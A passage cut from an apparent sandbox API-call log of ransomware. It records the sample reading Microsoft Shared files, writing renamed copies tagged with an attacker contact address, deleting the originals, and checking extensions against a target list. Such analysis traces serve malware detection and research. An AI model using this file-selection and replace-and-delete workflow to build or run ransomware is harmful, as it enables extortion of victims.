lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x1a9b, lpOverlapped=0x0) returned 1 [0051.856] WriteFile (in: hFile=0x1b8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1aa0, lpOverlapped=0x0) returned 1 [0051.857] ReadFile (in: hFile=0x214, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.857] WriteFile (in: hFile=0x1b8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.857] SetEndOfFile (hFile=0x1b8) returned 1 [0051.858] CloseHandle (hObject=0x1b8) returned 1 [0051.858] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.858] SetEndOfFile (hFile=0x214) returned 1 [0051.858] CloseHandle (hObject=0x214) returned 1 [0051.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.859] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 1 [0051.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0051.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0051.859] lstrlenW (lpString=".doc") returned 4 [0051.859] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0051.859] lstrlenW (lpString=".docx") returned 5 [0051.859] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0051.859] lstrlenW (lpString=".pdf") returned 4 [0051.859] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0051.859] lstrlenW (lpString=".xls") returned 4 [0051.859] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0051.859] lstrlenW (lpString=".xlsx") returned 5 [0051.859] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0051.859] lstrlenW (lpString=".ppt") returned 4 [0051.859] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0051.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0051.859] lstrlenW (lpString=".zip") returned 4 [0051.859] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0051.859] lstrlenW (lpString=".rar") returned 4 [0051.859] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0051.859] lstrlenW (lpString=".bz2") returned 4 [0051.859] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0051.859] lstrlenW (lpString=".7z") returned 3 [0051.859] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0051.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0051.860] lstrlenW (lpString=".dbf") returned 4 [0051.860] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0051.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0051.860] lstrlenW (lpString=".1cd") returned 4 [0051.860] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0051.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0051.860] lstrlenW (lpString=".jpg") returned 4 [0051.860] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0051.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0051.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0051.860] lstrlenW (lpString=".doc") returned 4 [0051.860] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0051.860] lstrlenW (lpString=".docx") returned 5 [0051.860] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0051.860] lstrlenW (lpString=".pdf") returned 4 [0051.860] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0051.860] lstrlenW (lpString=".xls") returned 4 [0051.860] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0051.860] lstrlenW (lpString=".xlsx") returned 5 [0051.860] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0051.860] lstrlenW (lpString=".ppt") returned 4 [0051.860] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0051.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0051.860] lstrlenW (lpString=".zip") returned 4 [0051.860] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0051.860] lstrlenW (lpString=".rar") returned 4 [0051.860] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0051.860] lstrlenW (lpString=".bz2") returned 4 [0051.860] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0051.860] lstrlenW (lpString=".7z") returned 3 [0051.861] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0051.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0051.861] lstrlenW (lpString=".dbf") returned 4 [0051.861] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0051.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0051.861] lstrlenW (lpString=".1cd") returned 4 [0051.861] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0051.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0051.861] lstrlenW (lpString=".jpg") returned 4 [0051.861] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0051.861] lstrcmpiW (lpString1=".FNT", lpString2=".html") returned -1 [0051.861] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0051.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0051.868] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=606062) returned 1 [0051.868] CloseHandle (hObject=0x1b8) returned 1 [0051.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0051.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0051.869] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.869] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.869] GetLastError () returned 0x0 [0051.869] ReadFile (in: hFile=0x1b8, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x93f6e, lpOverlapped=0x0) returned 1 [0052.265] WriteFile (in: hFile=0x188, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x93f70, lpOverlapped=0x0) returned 1 [0052.274] ReadFile (in: hFile=0x1b8, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.274] WriteFile (in: hFile=0x188, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.274] SetEndOfFile (hFile=0x188) returned 1 [0052.274] CloseHandle (hObject=0x188) returned 1 [0052.275] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.275] SetEndOfFile (hFile=0x1b8) returned 1 [0052.280] CloseHandle (hObject=0x1b8) returned 1 [0052.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.280] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 1 [0052.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0052.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0052.549] lstrlenW (lpString=".doc") returned 4 [0052.549] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0052.549] lstrlenW (lpString=".docx") returned 5 [0052.549] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0052.549] lstrlenW (lpString=".pdf") returned 4 [0052.549] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0052.549] lstrlenW (lpString=".xls") returned 4 [0052.549] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0052.549] lstrlenW (lpString=".xlsx") returned 5 [0052.549] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0052.549] lstrlenW (lpString=".ppt") returned 4 [0052.549] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0052.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0052.549] lstrlenW (lpString=".zip") returned 4 [0052.549] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0052.549] lstrlenW (lpString=".rar") returned 4 [0052.549] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0052.549] lstrlenW (lpString=".bz2") returned 4 [0052.549] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0052.549] lstrlenW (lpString=".7z") returned 3 [0052.549] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0052.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0052.549] lstrlenW (lpString=".dbf") returned 4 [0052.549] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0052.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0052.549] lstrlenW (lpString=".1cd") returned 4 [0052.549] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0052.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0052.549] lstrlenW (lpString=".jpg") returned 4 [0052.549] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0052.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0052.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0052.550] lstrlenW (lpString=".doc") returned 4 [0052.550] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0052.550] lstrlenW (lpString=".docx") returned 5 [0052.550] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0052.550] lstrlenW (lpString=".pdf") returned 4 [0052.550] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0052.550] lstrlenW (lpString=".xls") returned 4 [0052.550] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0052.550] lstrlenW (lpString=".xlsx") returned 5 [0052.550] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0052.550] lstrlenW (lpString=".ppt") returned 4 [0052.550] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0052.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0052.550] lstrlenW (lpString=".zip") returned 4 [0052.550] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0052.550] lstrlenW (lpString=".rar") returned 4 [0052.550] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0052.550] lstrlenW (lpString=".bz2") returned 4 [0052.550] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0052.550] lstrlenW (lpString=".7z") returned 3 [0052.550] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0052.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0052.550] lstrlenW (lpString=".dbf") returned 4 [0052.550] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0052.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0052.550] lstrlenW (lpString=".1cd") returned 4 [0052.550] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0052.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0052.550] lstrlenW (lpString=".jpg") returned 4 [0052.550] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0052.551] lstrcmpiW (lpString1=".WPG", lpString2=".html") returned 1 [0052.551] lstrlenW (lpString="MS.WPG") returned 6 [0052.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0053.573] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1382) returned 1 [0053.573] CloseHandle (hObject=0x23c) returned 1 [0053.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0053.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0053.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0053.573] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.573] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0053.574] GetLastError () returned 0x0 [0053.574] ReadFile (in: hFile=0x23c, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x566, lpOverlapped=0x0) returned 1 [0053.575] WriteFile (in: hFile=0x240, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x570, lpOverlapped=0x0) returned 1 [0053.576] ReadFile (in: hFile=0x23c, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.576] WriteFile (in: hFile=0x240, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0053.576] SetEndOfFile (hFile=0x240) returned 1 [0053.576] CloseHandle (hObject=0x240) returned 1 [0053.576] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.576] SetEndOfFile (hFile=0x23c) returned 1 [0053.577] CloseHandle (hObject=0x23c) returned 1 [0053.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.577] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 1 [0053.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0053.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0053.577] lstrlenW (lpString=".doc") returned 4 [0053.578] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0053.578] lstrlenW (lpString=".docx") returned 5 [0053.578] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0053.578] lstrlenW (lpString=".pdf") returned 4 [0053.578] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0053.578] lstrlenW (lpString=".xls") returned 4 [0053.578] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0053.578] lstrlenW (lpString=".xlsx") returned 5 [0053.578] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0053.578] lstrlenW (lpString=".ppt") returned 4 [0053.578] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0053.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0053.578] lstrlenW (lpString=".zip") returned 4 [0053.578] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0053.578] lstrlenW (lpString=".rar") returned 4 [0053.578] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0053.578] lstrlenW (lpString=".bz2") returned 4 [0053.578] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0053.578] lstrlenW (lpString=".7z") returned 3 [0053.578] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0053.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0053.578] lstrlenW (lpString=".dbf") returned 4 [0053.578] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0053.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0053.578] lstrlenW (lpString=".1cd") returned 4 [0053.578] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0053.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0053.578] lstrlenW (lpString=".jpg") returned 4 [0053.578] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0053.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0053.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0053.578] lstrlenW (lpString=".doc") returned 4 [0053.578] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0053.578] lstrlenW (lpString=".docx") returned 5 [0053.579] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0053.579] lstrlenW (lpString=".pdf") returned 4 [0053.579] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0053.579] lstrlenW (lpString=".xls") returned 4 [0053.579] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0053.579] lstrlenW (lpString=".xlsx") returned 5 [0053.579] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0053.579] lstrlenW (lpString=".ppt") returned 4 [0053.579] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0053.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0053.579] lstrlenW (lpString=".zip") returned 4 [0053.579] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0053.579] lstrlenW (lpString=".rar") returned 4 [0053.579] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0053.579] lstrlenW (lpString=".bz2") returned 4 [0053.579] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0053.579] lstrlenW (lpString=".7z") returned 3 [0053.579] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0053.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0053.579] lstrlenW (lpString=".dbf") returned 4 [0053.579] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0053.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0053.579] lstrlenW (lpString=".1cd") returned 4 [0053.579] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0053.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0053.579] lstrlenW (lpString=".jpg") returned 4 [0053.579] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0053.579] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0053.579] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0053.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0053.580] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=73080) returned 1 [0053.580] CloseHandle (hObject=0x23c) returned 1 [0053.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0053.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0053.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0053.580] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.580] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0053.580] GetLastError () returned 0x0 [0053.580] ReadFile (in: hFile=0x23c, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x11d78, lpOverlapped=0x0) returned 1 [0053.583] WriteFile (in: hFile=0x240, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x11d80, lpOverlapped=0x0) returned 1 [0053.585] ReadFile (in: hFile=0x23c, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 